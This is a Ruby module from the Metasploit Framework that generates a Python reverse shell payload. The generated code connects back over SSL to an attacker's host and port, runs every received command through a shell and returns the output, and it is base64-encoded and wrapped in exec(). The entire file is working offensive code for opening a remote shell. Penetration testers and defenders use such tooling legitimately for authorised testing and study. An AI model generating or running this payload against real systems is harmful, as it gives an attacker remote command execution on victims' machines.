metasploit-framework/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb

78 lines
2.2 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "s=ssl.wrap_socket(so)\n"
# The actual IO
cmd += "#{dead}=False\n"
cmd += "while not #{dead}:\n"
cmd += "\tdata=s.recv(1024)\n"
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
# The *nix shell wrapper to keep things clean
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
return cmd
end
end